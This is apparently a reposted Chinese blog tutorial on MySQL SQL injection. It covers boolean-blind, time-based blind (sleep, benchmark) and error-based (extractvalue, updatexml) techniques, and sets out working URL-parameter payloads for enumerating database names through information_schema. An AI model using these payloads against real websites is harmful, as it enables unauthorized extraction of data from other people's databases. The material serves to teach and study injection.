盲注&报错注入-mysql

看到身边同学写个 sql 注入脚本不费吹灰之力,我酸了,你要问我是什么酸,写不出来的心酸。

前提

SQL 注入通常出现在查询条件where可控,类似于"SELECT * FROM user WHERE user='".$_GET['name']."'"
那这个where的屁股后面能接上一些什么sql语句呢?

SELECT * FROM user WHERE user="admin" ADN 1=1
SELECT * FROM user WHERE user="admin" UNION SELECT * FROM xxx WHERE xxx=xxx
SELECT * FROM user WHERE user="admin" ADN sleep(5)
SELECT * FROM user WHERE user="admin" ADN if(xxx=xxx,true,false)

注意:通常我们需要考虑到参数是 整型 还是 字符型,也就是添加 引号

我们知道:

条件语句中的 (expr1 and expr2),expr2 只会在 expr1 为真的情况下才会执行;(expr1 or expr2),expr1、expr2 都会执行

mysql 中有个特殊的数据库 information_schema,这里面存了数据库的所有信息,包括数据库名、数据库表名、数据列名

# 从 information_schema.schemata 查询所有 库名
select schema_name from information_schema.schemata

# 从得到的库名在 information_schema.tables 中查询该库内的表名(limit 限制得到的数量,当让也可以直接使用 group_concat(table_name) 在一行结果中得到所有所有的表名)
select table_name from information_schema.tables where table_schema="xxx" limit 0,1

# 同理可以从 information_schema.columns 中查询对应表中的列名
select column_name from information_schema.columns where table_schema="xxx" and table_name="xxx" limit 0,1

布尔盲注

布尔盲注,一般是根据响应内容不同加以判断,看到以下几个常用函数:

sql 语法 含义
length("string") 计算字符长度
sleep(5) 延迟n秒
ord("a") 字符转成ascii
substring("string",strart,length)/substr("string",strart,length) 取出字符串里的第几位(从 1 开始,而不是 0)开始,长度多少的字符

那么类似于"SELECT * FROM user WHERE user='".$_GET['name']."'"这个sql注入,我们通过提交怎样的参数能判断是否存在布尔盲注并注入出数据呢?

# 简单判断是否存在布尔盲注
1. 首先假设不存在 admin 用户
?name=admin' or '1'='1   # 最终响应存在该用户

当使用 and时:
2. 首先假设存在 admin 用户
?name=admin' and '1'='2   # 最终响应存在该用户



# 那么如何注入出数据呢?注意,此时是存在 admin 用户的,这样才能确保 and 后面的条件语句被执行。我们假设存在用户会回显:用户存在
?name=admin' and (select length(database())) = 5 and '1'='1    # 此时,只有当数据库长度恰好等于 5 时,网页才会回显用户存在,因此我们可以依据这个判断数据库长度
?name=admin' and (select ord(substring(database(),1,1))) = 97 and '1'='1    # 此时,只有数据库第一个字母的 ascii 码为 97,网页才会回显用户存在

时间盲注

时间盲注中常用的有一下几个 sql 函数及语法:

sql 语法 含义
if(expr1,expr2,expr3) 当expr1成立时,会执行expr2,反之执行expr3
sleep(5) 延迟n秒
benchmark(10000000,sha(1)); BENCHMARK会重复计算expr表达式count次,打到延时
ascii("a") 字符转成ascii
ord("a") 字符转成ascii
substring("string",strart,length)/substr("string",strart,length) 取出字符串里的第几位(从 1 开始,而不是 0)开始,长度多少的字符
MID(column_name,start[,length]) 取出字符串里的第几位(从 1 开始,而不是 0)开始,长度多少的字符
left(str, len) 字符串左截取函数,返回str的左len个字符
right(str, len) 字符串右截取函数,返回sre的右len个字符

那么类似于"SELECT * FROM user WHERE user='".$_GET['name']."'"这个 sql 注入,我们通过提交怎样的参数能注入出数据呢?

?name=' and if((select ord(substring(database(),1,1))) = 97,sleep(5),1) and '1'='1

通过不断替换if语句中的值,如 97 代表 a,我们便可以通过响应时间简单地注入出数据库名

报错注入

构造特殊的 sql 语句,让信息以报错的形式显示出来。通常利用的是如下的函数

  • UPDATEXML (XML_document, XPath_string, new_value);
  • EXTRACTVALUE (XML_document, XPath_string);
    构造错误的XPath_string 参数,使语句报错从而带出数据
    例如:
select extractvalue(1,concat(0x7e,(select database()),0x7e))
select updatexml(1,concat(0x7e,(select database()),0x7e),1)

select extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))


从图片中可以发现,报错的到的结果限定长度 32 位,所以当数据很长的时候需要使用substr、mid等函数截断结果
select extractvalue(1,concat(0x7e,(select substr("string",1,1)),0x7e))
当然还有一些其他的函数能构造报错,具体可以看:十种MySQL报错注入,测试发现:高版本均无法成功

原文地址:https://www.cnblogs.com/wjrblogs/p/14891289.html